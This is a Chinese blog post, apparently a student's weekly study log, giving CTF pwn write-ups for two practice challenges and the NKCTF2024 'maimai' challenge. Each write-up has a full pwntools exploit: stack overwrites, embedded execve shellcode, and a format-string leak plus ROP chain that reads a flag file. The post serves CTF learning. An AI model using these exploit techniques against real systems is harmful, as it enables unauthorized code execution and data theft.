24-03-24

本周学习总结

复现一点陈年老题。(Word*) Ptr -> pw

全局常量声明:新手上路,文章内容仅是由教程观点和自己总结获得,仅供参考。

一、下次一定

下次一定。

二、[Easy?]–write1

Check:

64位程序,开启canary和NX

Ida:

do_something:

Door:

细节题。程序中有一个无限输入,但是并不在栈上,所以没什么用,程序也没有可暴露canary的地方,唯一可用的就是一个后门函数。

在do_something函数的第19行我们发现有可在栈上可写的语句,我们可以使用它去改变rip的地址。首先这里就要注意两个问题,首先就是指针v2原本应该是指向int64的指针,在这里被改为了指向BYTE(字节)的指针,所有这里的如果+1的话不是跳8个字节,而是跳1个字节,其次这里不是直接赋值,而是在原先值的基础是相加。

通过gdb调试我们可以发现rip正常的地址是比后门函数的地址要高的,所以我们输入地址时应输入负数,而且由于v2变成指向字节的指针,我们一次只能改1个字节的数据。我们需要通过两次来进行完全修改,偏移分别为0x28和0x29。

但是在修改完后我们仍然发现无法执行shell,这里是因为如果写的直接是后门函数的地址的话会出现栈对齐问题,我们直接跳过一些指令直接从真正有意义的地方开始执行就可以了。(我就说直接复制/bin/sh那里的地址更好吧)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret


def add(size):
sea(b"", stre())


def dele(index):
sea(b"", stre())


def show(index):
sea(b"", stre())


def edit(index, content):
sea(b"", stre())


# context.log_level = 'debug'
# context.arch = 'amd64'
# context.os = 'linux'
# p = remote({IP})
p = process("./chal")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

sel(b"zlsf")

sela(b"index:\n", stre(0x28))
sela(b"value:", b"-0x28")

sela(b"index:\n", stre(0x29))
sela(b"value:", b"-0x01")

sela(b"index:\n", stre(-1))
op()

shell:

三、[Medium]–write2

Check:

64位程序,开启canary、PIE和RELRO。

ida:

do_something:

无system和”/bin/sh\x00”,因为没有开启NX保护,可以考虑在栈上写shellcode。但是在实际操作后你会发现刚好少两个字节的写入。

解决办法很多,这里采用最笨的办法,利用v2在rip后面布置shellcode,通过改写rip跳转。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret


def add(size):
sea(b"", stre())


def dele(index):
sea(b"", stre())


def show(index):
sea(b"", stre())


def edit(index, content):
sea(b"", stre())


# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# p = remote({IP})
p = process("./chal")
# elf = ELF("./pwn")
# libc = ELF("./libc.so.6")

reu(b"addr:")
addr = int(re(16), 16) + 0x4 + 0x30
ph(addr)

shell1 = 0x732f6e69622fbb48
shell2 = 0x3148e78948530068
shell3 = 0x3bc0c748d23148f6
shell4 = 0x000000050f000000

sel(b"CSLDCS")


def fs(index1, cont1):
sela(b"index:\n", stre(index1))
sela(b"value:", stre(cont1))


def en(i, address):
fs(0x28 + i, address[-2:])
fs(0x29 + i, address[-4:-2])
fs(0x2A + i, address[-6:-4])
fs(0x2B + i, address[-8:-6])
fs(0x2C + i, address[-10:-8])
fs(0x2D + i, address[-12:-10])
fs(0x2E + i, address[-14:-12])
fs(0x2F + i, address[-16:-14])


en(0, format(addr, '016x'))
en(0x8, format(shell1, '016x'))
en(0x10, format(shell2, '016x'))
en(0x18, format(shell3, '016x'))
en(0x20, format(shell4, '016x'))

sela(b"index:\n", stre(-1))
op()

shell:

四、[Medium]–[NKCTF2024]maimai分数查看器

check:

64位程序,保护全开。

ida:

main:

funA:

funC:

funB:

key:

我们需要在funA中输入40组数据来保证在funB中比较时num>num2,这里直接用最高分数数据15.0 “SSS+”。

在funB中我们发现了字符串格式化漏洞,可以泄漏栈上任意地址。在key中我们发现了0x48的溢出。因为整个程序处于一个whlie死循环中,我们可以通过多次字符串格式化漏洞来暴露__libc_start_main和canary,然后通过libc中控制寄存器的代码片段来getshell。

通过这种方法确实可以getshell,但是在获取远程shell后我们发现没有root权限来查看flag。

简直就是

我们只好通过ORW来获取flag,但是这样有有个问题,那就是溢出不够用了,就算是最短的ORW办法也是少了0x8字节的溢出,所以我们还需要通过字符串格式化漏洞暴露PIE和rbp,获得在栈上和bss段上写的权利。

因为溢出是刚好够写一个read,我们直接在通过rbp在栈上找到rsp+0x8的位置继续写,接上一个无限ROP,

这样就可以成功ORW。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *

def stre(a):
return str(a).encode()

def ph(a, b="addr"):
print(b + ":" + hex(a))

def re(a):
return p.recv(a)

def pre(a):
print(p.recv(a))

def reu(a, b=False):
return p.recvuntil(a, drop=b)

def rel():
return p.recvline()

def se(a):
p.send(a)

def sea(a, b):
p.sendafter(a, b)

def sel(a):
p.sendline(a)

def sela(a, b):
p.sendlineafter(a, b)

def op():
p.interactive()

def raddr64():
return u64(p.recv(6).ljust(8, b'\x00'))

def raddr32():
return u32(p.recv(4))

def gdbp(p, a=''):
if a != '':
gdb.attach(p, a)
pause()
else:
gdb.attach(p)
pause()

def gret(elf):
rop = ROP(elf)
rop_ret = rop.find_gadget(["ret"]).address
return rop_ret

# context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
# p = remote("node.nkctf.yuzhian.com.cn", 36591)
p = process("./what")
# elf = ELF("./pwn")
libc = ELF("/home/zlsf/glibc-all-in-one/libs/2.35-0ubuntu3_amd64/libc.so.6")

sela(b"option:\n", stre(1))
i = 0
for i in range(0, 50):
sel(stre(15.0) + b" SSS+")
sleep(0.1)

sela(b"option:\n", stre(2))
sea(b"name.\n", b"%7$p%9$p")

canary = int(re(18), 16)
ph(canary, "canary")

pie = int(re(14), 16) - 0x1B25
ph(pie, "pie")

sea(b"maimai?\n", b"A" * 0x28 + p64(canary))

sela(b"option:\n", stre(2))
sea(b"name.\n", b"%33$p")

libc_base = int(re(14), 16) - 128 - libc.sym["__libc_start_main"]
ph(libc_base, "libc_base")

sea(b"maimai?\n", b"A" * 0x28 + p64(canary))

sela(b"option:\n", stre(2))
sea(b"name.\n", b"%8$p")

rbp = int(re(14), 16)
ph(rbp, "rbp")

pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
# pop_rdx_r12 = libc_base + 0x11f2e7
pop_rdx_r12 = libc_base + 0x11f497

open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
# ret_addr = libc_base + 0x29139
ret_addr = libc_base + 0x29cd6

payload = b"A" * 0x28 + p64(canary) + p64(0) + p64(ret_addr) + p64(pop_rdi) + p64(0) + p64(pop_rsi)
payload += p64(rbp + 0x10) + p64(pop_rdx_r12) + p64(0x200) + p64(0) + p64(read_addr)
sea(b"maimai?\n", payload)
sleep(0.1)

payload = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(pie + 0x5040) + p64(pop_rdx_r12) + p64(0x5) + p64(0)
payload += p64(read_addr) + p64(pop_rdi) + p64(pie + 0x5040) + p64(pop_rsi) + p64(0) + p64(open_addr)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(pie + 0x5040) + p64(pop_rdx_r12) + p64(0x30) + p64(0)
payload += p64(read_addr) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(pie + 0x5040) + p64(pop_rdx_r12)
payload += p64(0x30) + p64(0) + p64(write_addr)

se(payload)
sleep(0.1)
se(b"flag\x00")
op()

flag(本地):

下周学习计划

| 应该要做的事情 |

6

学习感受

6


24-03-24
https://zlsf-zl.github.io/2024/03/24/3-24-3-31/
作者
ZLSF
发布于
2024年3月24日
许可协议